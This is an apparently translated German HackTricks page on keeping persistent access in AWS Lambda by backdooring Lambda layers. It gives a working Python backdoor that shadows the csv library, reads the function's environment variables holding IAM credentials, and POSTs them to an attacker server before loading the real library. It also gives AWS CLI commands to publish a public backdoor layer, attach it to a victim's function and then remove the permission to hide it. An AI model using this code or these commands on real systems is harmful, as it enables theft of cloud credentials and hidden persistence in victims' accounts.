AWS - Lambda Layers Persistence
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Lambda Layers
Ein Lambda-Layer ist ein .zip-Dateiarchiv, das zusätzlichen Code oder andere Inhalte enthalten kann. Ein Layer kann Bibliotheken, eine benutzerdefinierte Laufzeit, Daten oder Konfigurationsdateien enthalten.
Es ist möglich, bis zu fünf Layers pro Funktion einzuschließen. Wenn Sie einen Layer in einer Funktion einfügen, werden die Inhalte im Verzeichnis /opt
der Ausführungsumgebung extrahiert.
Standardmäßig sind die Layers, die Sie erstellen, privat für Ihr AWS-Konto. Sie können wählen, ob Sie einen Layer mit anderen Konten teilen oder den Layer öffentlich machen möchten. Wenn Ihre Funktionen einen Layer verwenden, den ein anderes Konto veröffentlicht hat, können Ihre Funktionen die Layer-Version weiterhin verwenden, nachdem sie gelöscht wurde oder nachdem Ihre Berechtigung zum Zugriff auf den Layer widerrufen wurde. Sie können jedoch keine neue Funktion erstellen oder Funktionen mit einer gelöschten Layer-Version aktualisieren.
Funktionen, die als Container-Image bereitgestellt werden, verwenden keine Layers. Stattdessen verpacken Sie Ihre bevorzugte Laufzeit, Bibliotheken und andere Abhängigkeiten in das Container-Image, wenn Sie das Image erstellen.
Python load path
Der Ladepfad, den Python in Lambda verwenden wird, ist der folgende:
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
Überprüfen Sie, wie die zweite und dritte Position von Verzeichnissen eingenommen werden, in denen Lambda-Layer ihre Dateien entpacken: /opt/python/lib/python3.9/site-packages
und /opt/python
caution
Wenn es einem Angreifer gelingt, einen verwendeten Lambda Layer zu backdoor oder einen hinzuzufügen, der beliebigen Code ausführt, wenn eine gängige Bibliothek geladen wird, kann er mit jeder Lambda-Aufruf bösartigen Code ausführen.
Daher sind die Anforderungen:
- Überprüfen Sie Bibliotheken, die vom Code der Opfer geladen werden
- Erstellen Sie eine Proxy-Bibliothek mit Lambda-Layern, die benutzerdefinierten Code ausführt und die ursprüngliche Bibliothek lädt.
Vorgebundene Bibliotheken
warning
Bei der Ausnutzung dieser Technik stieß ich auf eine Schwierigkeit: Einige Bibliotheken sind bereits geladen, wenn Ihr Code ausgeführt wird. Ich erwartete, Dinge wie os
oder sys
zu finden, aber sogar die json
-Bibliothek war geladen.
Um diese Persistenztechnik auszunutzen, muss der Code eine neue Bibliothek laden, die nicht geladen ist, wenn der Code ausgeführt wird.
Mit einem Python-Code wie diesem ist es möglich, die Liste der Bibliotheken, die vorab geladen sind, innerhalb der Python-Laufzeit in Lambda zu erhalten:
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
Und dies ist die Liste (überprüfen Sie, ob Bibliotheken wie os
oder json
bereits vorhanden sind)
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
Und dies ist die Liste der Bibliotheken, die lambda standardmäßig installiert: https://gist.github.com/gene1wood/4a052f39490fae00e0c3
Lambda Layer Backdooring
In diesem Beispiel nehmen wir an, dass der angezielte Code csv
importiert. Wir werden den Import der csv
-Bibliothek backdooren.
Um dies zu tun, werden wir das Verzeichnis csv mit der Datei __init__.py
darin in einem Pfad erstellen, der von lambda geladen wird: /opt/python/lib/python3.9/site-packages
Dann, wenn die lambda ausgeführt wird und versucht, csv zu laden, wird unsere __init__.py
-Datei geladen und ausgeführt.
Diese Datei muss:
- Unser Payload ausführen
- Die originale csv-Bibliothek laden
Wir können beides mit:
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)
# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]
# Load original library
import csv as _csv
sys.modules["csv"] = _csv
Erstellen Sie dann eine Zip-Datei mit diesem Code im Pfad python/lib/python3.9/site-packages/__init__.py
und fügen Sie sie als Lambda-Schicht hinzu.
Sie finden diesen Code unter https://github.com/carlospolop/LambdaLayerBackdoor
Die integrierte Payload wird die IAM-Credentials an einen Server senden, BEIM ERSTEN AUFRUF oder NACH einem Reset des Lambda-Containers (Änderung des Codes oder kaltes Lambda), aber andere Techniken wie die folgenden könnten ebenfalls integriert werden:
Externe Schichten
Es ist zu beachten, dass es möglich ist, Lambda-Schichten aus externen Konten zu verwenden. Darüber hinaus kann ein Lambda eine Schicht aus einem externen Konto verwenden, auch wenn es keine Berechtigungen hat.
Es ist auch zu beachten, dass die maximale Anzahl von Schichten, die ein Lambda haben kann, 5 beträgt.
Daher könnte ein Angreifer, um die Vielseitigkeit dieser Technik zu verbessern:
- Eine bestehende Schicht des Benutzers kompromittieren (nichts ist extern)
- Eine Schicht in seinem Konto erstellen, dem Opferkonto Zugriff auf die Verwendung der Schicht gewähren, die Schicht im Lambda des Opfers konfigurieren und die Berechtigung entfernen.
- Das Lambda wird weiterhin in der Lage sein, die Schicht zu verwenden, und das Opfer wird keine einfache Möglichkeit haben, den Code der Schichten herunterzuladen (außer durch den Erhalt einer Reverse-Shell im Lambda).
- Das Opfer wird keine externen Schichten sehen, die mit
aws lambda list-layers
verwendet werden.
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
## Add layer to victims Lambda
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.